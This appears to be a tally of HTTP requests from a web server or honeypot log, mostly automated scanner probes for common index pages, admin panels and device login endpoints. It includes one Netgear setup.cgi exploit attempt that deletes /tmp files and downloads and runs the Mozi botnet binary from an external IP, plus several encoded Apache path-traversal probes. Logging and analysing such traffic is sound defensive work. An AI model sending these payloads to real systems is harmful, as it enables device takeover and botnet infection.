1	GET	/axis2/axis2-admin/	HTTP/1.1
1	GET	/base.asp	HTTP/1.1
1	GET	/base.aspx	HTTP/1.1
1	GET	/base.cfm	HTTP/1.1
1	GET	/base.cgi	HTTP/1.1
1	GET	/base.html	HTTP/1.1
1	GET	/base.inc	HTTP/1.1
1	GET	/base.jhtml	HTTP/1.1
1	GET	/base.jsa	HTTP/1.1
1	GET	/base.jsp	HTTP/1.1
1	GET	/base.php	HTTP/1.1
1	GET	/base.pl	HTTP/1.1
1	GET	/base.shtml	HTTP/1.1
1	GET	/default.asp	HTTP/1.1
1	GET	/default.aspx	HTTP/1.1
1	GET	/default.cfm	HTTP/1.1
1	GET	/default.cgi	HTTP/1.1
1	GET	/default.html	HTTP/1.1
1	GET	/default.jhtml	HTTP/1.1
1	GET	/default.jsa	HTTP/1.1
1	GET	/default.jsp	HTTP/1.1
1	GET	/default.php	HTTP/1.1
1	GET	/default.pl	HTTP/1.1
1	GET	/default.shtml	HTTP/1.1
1	GET	/docs/cplugError.html/	HTTP/1.1
8	GET	/favicon.ico	HTTP/1.1
1	GET	/home.asp	HTTP/1.1
1	GET	/home.aspx	HTTP/1.1
1	GET	/home.cfm	HTTP/1.1
1	GET	/home.cgi	HTTP/1.1
1	GET	/home.html	HTTP/1.1
1	GET	/home.jhtml	HTTP/1.1
1	GET	/home.jsa	HTTP/1.1
1	GET	/home.jsp	HTTP/1.1
1	GET	/home.php	HTTP/1.1
1	GET	/home.pl	HTTP/1.1
1	GET	/home.shtml	HTTP/1.1
1	GET	/index.asp	HTTP/1.1
1	GET	/index.aspx	HTTP/1.1
1	GET	/index.cfm	HTTP/1.1
1	GET	/index.cgi	HTTP/1.1
1	GET	/index.html	HTTP/1.1
1	GET	/index.jhtml	HTTP/1.1
1	GET	/index.jsa	HTTP/1.1
1	GET	/index.jsp	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.pl	HTTP/1.1
1	GET	/index.shtml	HTTP/1.1
1	GET	/indice.asp	HTTP/1.1
1	GET	/indice.aspx	HTTP/1.1
1	GET	/indice.cfm	HTTP/1.1
1	GET	/indice.cgi	HTTP/1.1
1	GET	/indice.html	HTTP/1.1
1	GET	/indice.jhtml	HTTP/1.1
1	GET	/indice.jsa	HTTP/1.1
1	GET	/indice.jsp	HTTP/1.1
1	GET	/indice.php	HTTP/1.1
1	GET	/indice.pl	HTTP/1.1
1	GET	/indice.shtml	HTTP/1.1
1	GET	/inicio.asp	HTTP/1.1
1	GET	/inicio.aspx	HTTP/1.1
1	GET	/inicio.cfm	HTTP/1.1
1	GET	/inicio.cgi	HTTP/1.1
1	GET	/inicio.html	HTTP/1.1
1	GET	/inicio.jhtml	HTTP/1.1
1	GET	/inicio.jsa	HTTP/1.1
1	GET	/inicio.jsp	HTTP/1.1
1	GET	/inicio.php	HTTP/1.1
1	GET	/inicio.pl	HTTP/1.1
1	GET	/inicio.shtml	HTTP/1.1
1	GET	/localstart.asp	HTTP/1.1
1	GET	/localstart.aspx	HTTP/1.1
1	GET	/localstart.cfm	HTTP/1.1
1	GET	/localstart.cgi	HTTP/1.1
1	GET	/localstart.html	HTTP/1.1
1	GET	/localstart.jhtml	HTTP/1.1
1	GET	/localstart.jsa	HTTP/1.1
1	GET	/localstart.jsp	HTTP/1.1
1	GET	/localstart.php	HTTP/1.1
1	GET	/localstart.pl	HTTP/1.1
1	GET	/localstart.shtml	HTTP/1.1
1	GET	/main.asp	HTTP/1.1
1	GET	/main.aspx	HTTP/1.1
1	GET	/main.cfm	HTTP/1.1
1	GET	/main.cgi	HTTP/1.1
1	GET	/main.html	HTTP/1.1
1	GET	/main.jhtml	HTTP/1.1
1	GET	/main.jsa	HTTP/1.1
1	GET	/main.jsp	HTTP/1.1
1	GET	/main.php	HTTP/1.1
1	GET	/main.pl	HTTP/1.1
1	GET	/main.shtml	HTTP/1.1
1	GET	/manager/text/list	HTTP/1.1
1	GET	/menu.asp	HTTP/1.1
1	GET	/menu.aspx	HTTP/1.1
1	GET	/menu.cfm	HTTP/1.1
1	GET	/menu.cgi	HTTP/1.1
1	GET	/menu.html	HTTP/1.1
1	GET	/menu.jhtml	HTTP/1.1
1	GET	/menu.jsa	HTTP/1.1
1	GET	/menu.jsp	HTTP/1.1
1	GET	/menu.php	HTTP/1.1
1	GET	/menu.pl	HTTP/1.1
1	GET	/menu.shtml	HTTP/1.1
1	GET	/nmaplowercheck1669719670	HTTP/1.1
1	GET	/phpinfo.php	HTTP/1.1
1	GET	/phpinfo	HTTP/1.1
1	GET	/pools/default/buckets	HTTP/1.1
1	GET	/pools	HTTP/1.1
1	GET	/readme.txt	HTTP/1.1
6	GET	/robots.txt	HTTP/1.1
1	GET	/server-status	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//27[.]41[.]18[.]154:50684/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
2	GET	/sitemap.xml	HTTP/1.1
1	GET	/start.asp	HTTP/1.1
1	GET	/start.aspx	HTTP/1.1
1	GET	/start.cfm	HTTP/1.1
1	GET	/start.cgi	HTTP/1.1
1	GET	/start.html	HTTP/1.1
1	GET	/start.jhtml	HTTP/1.1
1	GET	/start.jsa	HTTP/1.1
1	GET	/start.jsp	HTTP/1.1
1	GET	/start.php	HTTP/1.1
1	GET	/start.pl	HTTP/1.1
1	GET	/start.shtml	HTTP/1.1
1	GET	default.asp	HTTP/1.1
3	HEAD	/	HTTP/1.1
1	HEAD	/icons/.%%32%65/.%%32%65/apache2/icons/non-existant-image.png	HTTP/1.1
1	HEAD	/icons/.%%32%65/.%%32%65/apache2/icons/sphere1.png	HTTP/1.1
1	HEAD	/icons/.%2e/%2e%2e/apache2/icons/sphere1.png	HTTP/1.1
1	HEAD	/icons/sphere1.png	HTTP/1.1
1	OPTIONS	/	HTTP/1.0
1	POST	/HNAP1/	HTTP/1.0
13	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/scripts/WPnBr.dll	HTTP/1.1
1	POST	/sdk	HTTP/1.1
2	PRI	*	HTTP/2.0